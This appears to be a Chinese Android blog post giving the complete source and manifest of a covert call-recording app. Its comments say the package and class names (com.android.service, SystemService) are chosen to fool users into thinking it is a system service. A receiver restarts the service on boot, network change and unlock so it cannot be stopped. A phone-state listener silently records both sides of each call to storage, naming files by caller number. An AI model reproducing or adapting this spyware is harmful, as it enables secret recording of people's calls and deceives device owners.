MainActivity


public class MainActivity extends ListActivity {
    private BatteryChangedReceiver receiver;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        List<String> mData = new ArrayList<String>(Arrays.asList("开启服务", "停止服务", "判断服务是否正在运行", "动态注册电量变化的广播接收者", "取消注册"));
        ListAdapter mAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, mData);
        setListAdapter(mAdapter);
        receiver = new BatteryChangedReceiver();
    }
    @Override
    protected void onListItemClick(ListView l, View v, int position, long id) {
        switch (position) {
        case 0:
            startService(new Intent(this, SystemService.class));
            break;
        case 1:
            stopService(new Intent(this, SystemService.class));
            break;
        case 2:
            Toast.makeText(this, "服务是否在运行:" + isServiceWorked(this, "com.android.service.SystemService"), Toast.LENGTH_SHORT).show();
            break;
        case 3://电池的状态改变广播ACTION_BATTERY_CHANGED只有通过动态方式注册后才能获得。sticky:粘性的; 热湿的,闷热的; 极不愉快的; 不动的;
            IntentFilter filter = new IntentFilter();
            filter.addAction(Intent.ACTION_BATTERY_CHANGED);//This is a sticky broadcast containing the charging state, level, and other information about the battery.
            filter.addAction(Intent.ACTION_BATTERY_LOW);//Indicates low battery condition on the device. This broadcast corresponds to the "Low battery warning" system dialog. 
            filter.addAction(Intent.ACTION_BATTERY_OKAY);//This will be sent after ACTION_BATTERY_LOW once the battery has gone back up to an okay state. 
            registerReceiver(receiver, filter);
            break;
        case 4:
            unregisterReceiver(receiver);
            receiver = null;
            break;
        }
    }
    public static boolean isServiceWorked(Context context, String serviceName) {
        ActivityManager myManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        ArrayList<RunningServiceInfo> runningService = (ArrayList<RunningServiceInfo>) myManager.getRunningServices(Integer.MAX_VALUE);
        for (int i = 0; i < runningService.size(); i++) {
            if (runningService.get(i).service.getClassName().toString().equals(serviceName)) {
                return true;
            }
        }
        return false;
    }
}

SuperReceiver  

/** 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事*/
public class SuperReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        context.startService(new Intent(context, SystemService.class));
        Log.i("bqt", intent.getAction());
    }
}

电量改变的Receiver

public class BatteryChangedReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
        if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_CHANGED)) {//"android.intent.action.BATTERY_CHANGED"
            Log.i("battery", "==============电池电量改变:BATTERY_CHANGED_ACTION");
            Log.i("battery", "当前电压=" + intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1));
            Log.i("battery", "健康状态=" + intent.getIntExtra(BatteryManager.EXTRA_HEALTH, -1));//如BATTERY_HEALTH_COLD
            Log.i("battery", "电量最大值=" + intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1));
            Log.i("battery", "当前电量=" + intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1));
            Log.i("battery", "充电电源类型=" + intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1));
            Log.i("battery", "充电状态=" + intent.getIntExtra(BatteryManager.EXTRA_STATUS, -1));//如BATTERY_STATUS_CHARGING 正在充电
            Log.i("battery", "电池类型=" + intent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY));//比如,对于锂电池是Li-ion
            Log.i("battery", "电池温度=" + intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1));
        } else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_LOW)) {// "android.intent.action.BATTERY_LOW"
            Log.i("battery", "电池电量低:ACTION_BATTERY_LOW");
        } else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_OKAY)) {// "android.intent.action.BATTERY_OKAY"
            Log.i("battery", "电池已经从电量低恢复为正常:ACTION_BATTERY_OKAY");
        }
    }
}

Service

/**为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。
 *  为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务呢! */
public class SystemService extends Service {
    private PhoneStateListener listener;
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    @Override
    public void onCreate() {
        listener = new MyPhoneStateListener();
        ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
        Log.i("bqt", "++++++onCreate-1");
        super.onCreate();
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Log.i("bqt", "++++++onStartCommand-1");
        return START_STICKY;//当service因内存不足被kill,当内存又有的时候,service又被重新创建
        /**1、START_STICKY:进程被kill后,将保留在开始状态,但是不保留那些传入的intent。不久后service就会再次尝试重新创建,
                   因为保留在开始状态,在创建service后将保证调用onstartCommand。如果没有传递任何开始命令给service,那将获取到null的intent。
              2、START_NOT_STICKY:进程被kill后,并且没有新的intent传递给它,Service将移出开始状态,并且直到有新的startService调用才重新创建。
                     因为如果没有传递任何未决定的intent那么service是不会启动,也就是期间onstartCommand不会接收到任何null的intent。
             3、START_REDELIVER_INTENT:进程被kill后,系统会再次启动service,并传入最后一个intent给onstartCommand.直到调用stopSelf才停止传递intent。
                    如果在被kill后还有未处理好的intent,那被kill后服务还是会自动启动。因此onstartCommand不会接收到任何null的intent。*/
    }
    @Override
    public void onDestroy() { //在onDestroy中再启动本服务(张泽华老师说不可以启动自己,实测是可以的!),但是用户杀进程时不会调用onDestroy方法。
        //startService(new Intent(this, SystemService.class));
        // 取消电话的监听
        ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_NONE);
        listener = null;
        Log.i("bqt", "++++++onDestroy-1");
        super.onDestroy();
    }
}

电话状态监听

public class MyPhoneStateListener extends PhoneStateListener {
    private String phoneNumber; // 来电号码
    public static final String filePath = Environment.getExternalStorageDirectory().getPath() + "/bqt_callRecords";
    private File directory, file;
    private MediaRecorder mediaRecorder;
    @Override
    public void onCallStateChanged(int state, String incomingNumber) {
        super.onCallStateChanged(state, incomingNumber);
        try {
            switch (state) {
            case TelephonyManager.CALL_STATE_RINGING://响铃状态
                phoneNumber = incomingNumber;//只有这里能拿到来电号码,在CALL_STATE_OFFHOOK状态是拿不到来电号码的
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK://通话状态
                mediaRecorder = new MediaRecorder();
                if (this.phoneNumber == null) this.phoneNumber = "null_";
                directory = new File(filePath);
                if (!directory.exists()) directory.mkdir();
                file = new File(filePath + File.separator + phoneNumber + new SimpleDateFormat("yyyyMMdd_HHmmss'.amr'", Locale.getDefault()).format(new Date()));
                if (!file.exists()) file.createNewFile();
                mediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);//指定录音机的声音源
                //MIC只获取自己说话的声音;VOICE_CALL双方的声音都可以录取,但是由于外国法律的限制,某些大牌手机不支持此参数
                mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//设置录制文件的输出格式,如AMR-NB,MPEG-4等
                mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//设置音频的编码,如AAC,AMR-NB等
                mediaRecorder.setOutputFile(file.getAbsolutePath());//存储路径
                mediaRecorder.prepare();//准备,一定要放在设置后、开始前,否则会产生异常
                mediaRecorder.start();
                Log.i("bqt", "开始录音!");
                break;
            case TelephonyManager.CALL_STATE_IDLE://空闲状态
                if (mediaRecorder != null) {
                    //释放资源
                    mediaRecorder.stop();
                    //mediaRecorder.reset(); //重设
                    mediaRecorder.release();
                    mediaRecorder = null;
                }
                Log.i("bqt", "结束录音!");
                break;
            }
        } catch (Exception e) {
        }
    }
}

清单文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.android.service"
    android:versionCode="1"
    android:versionName="1.0" >
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />
    <!-- 访问电话状态 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <!-- 允许程序监视、修改或放弃拨打电话 -->
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <!-- 挂载、反挂载外部文件系统 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
    <!-- 录音权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver android:name=".SuperReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
                <!-- 唤醒机器、解锁时发出,屏幕SCREEN_ON和SCREEN_OFF的广播只能通过代码动态的形式注册 -->
                <action android:name="android.intent.action.USER_PRESENT" />
            </intent-filter>
        </receiver>
        <service
            android:name=".SystemService"
            android:process=":process1" />
    </application>
</manifest>

附件列表

服务 通话录音 TelephonyManager的更多相关文章

  1. android中通话录音

    file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMil ...

  2. 服务 Service 简单案例 MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  3. Android实训案例(七)——四大组件之一Service初步了解,实现通话录音功能,抽调接口

    Service Service的神奇之处,在于他不需要界面,一切的操作都在后台操作,所以很多全局性(手机助手,语音助手)之类的应用很长需要这个,我们今天也来玩玩 我们新建一个工程--ServiceDe ...

  4. Android四大组件应用系列——实现电话拦截和电话录音

    一.问题描述 使用BordercastReceiver和Service组件实现下述功能: 1.当手机处于来电状态,启动监听服务,对来电进行监听录音. 2.设置电话黑名单,当来电是黑名单电话,则直接挂断 ...

  5. Android实训案例(七)——四大组件之中的一个Service初步了解,实现通话录音功能,抽调接口

    Service Service的奇妙之处.在于他不须要界面,一切的操作都在后台操作,所以非常多全局性(手机助手,语音助手)之类的应用非常长须要这个.我们今天也来玩玩 我们新建一个project--Se ...

  6. Android简易实战教程--第三十六话《电话录音》

    今天完成一个简单的电话录音功能,即接通电话后,立即录下自己打电话的声音.实现起来比较简单:一个服务,一个TelephonyManager.一个MediaRecorder就够了. 1.布局提供一个开启录 ...

  7. 三星N900(note3)刷机包 颓废N0.8.1 修复已知BUG 集成谷歌服务

    ROM介绍 8.1更新信息:攻克了来电后点击HOME出现SECPHONE已经停止的问题 去掉了桌面隐藏信息的选项,官方最新底包暂不支持这功能 增加了网友们须要验证的谷歌服务(不须要的同学同步什么的都关 ...

  8. 【Android】【录音】Android录音--AudioRecord、MediaRecorder

    [Android][录音]Android录音--AudioRecord.MediaRecorder Android提供了两个API用于实现录音功能:android.media.AudioRecord. ...

  9. Android录音--AudioRecord、MediaRecorder

    Android提供了两个API用于实现录音功能:android.media.AudioRecord.android.media.MediaRecorder. 网上有很多谈论这两个类的资料.现在大致总结 ...

随机推荐

  1. iOS中使用Localizable.strings适配App在不同语言下文本的显示

    iOS开发中,若是使用xib或storyboard搭建界面视图,视图中固定显示的文本内容可以用localized添加不同语言适配.但是在实际中会有动态加载的文本,这些文字的适配就需要NSLocaliz ...

  2. nodejs+express 4.x笔记

    4.x与3.x变化比较大,包括安装以及api 一:安装express4.x 1. npm install express -g //express modules2. npm install expr ...

  3. hdu1025 最长不下降子序列nlogn算法

    C - DP Crawling in process... Crawling failed Time Limit:1000MS     Memory Limit:32768KB     64bit I ...

  4. C#冒泡排序--详解

    思路:以数组int[]a={55,42,15,3,66,52};为例. 每一轮排序都把最大的数放在最后 所以, 对应循环语句思路 这样就很清晰了. 代码如下: , , , , , , , }; ; i ...

  5. CentOS+nginx+uwsgi+Python 多站点环境搭建

    转载:http://www.cnblogs.com/xiongpq/p/3381069.html 环境: CentOS X64 6.5 nginx 1.5.6 Python 2.7.5 正文: 一:安 ...

  6. C语言刷新缓冲区(转载)

    C语言中有几个基本输入函数: //获取字符系列 int fgetc(FILE *stream); int getc(FILE *stream); int getchar(void); //获取行系列 ...

  7. Swift—类型检查与转换-备

    继承会发生在子类和父类之间,是一系列类的继承关系. 例如:Person是类层次结构中的根类,Student是Person的直接子类,Worker是Person的直接子类. 这个继承关系类的具体实现代码 ...

  8. 详解ios文件系统文件目录读写操作-备用

    iPhone文件读写系统操作教程是本文要介绍的内容,对于一个运行在iPhone得app,它只能访问自己根目录下得一些文件(所谓sandbox).一个app发布到iPhone上后,它得目录结构如下:  ...

  9. LDMFD和STMFD个人理解

    ARM里面的堆栈是满递减(FULL DESCENDING)的.SP指向最后一个入栈的数据,SP的地址由高向低生长.对于LDM和STM指令来说,编号小的寄存器对应堆栈中的低地址. STMFD的寻址方式是 ...

  10. 单列模式 (singleton pattern)

    单列就是说一个类只能被实例化一次,重点是确保某个对象只有一个,不会有第2个. c# 的实现是这样的 代码来源 : http://www.cnblogs.com/zhili/p/3185302.html ...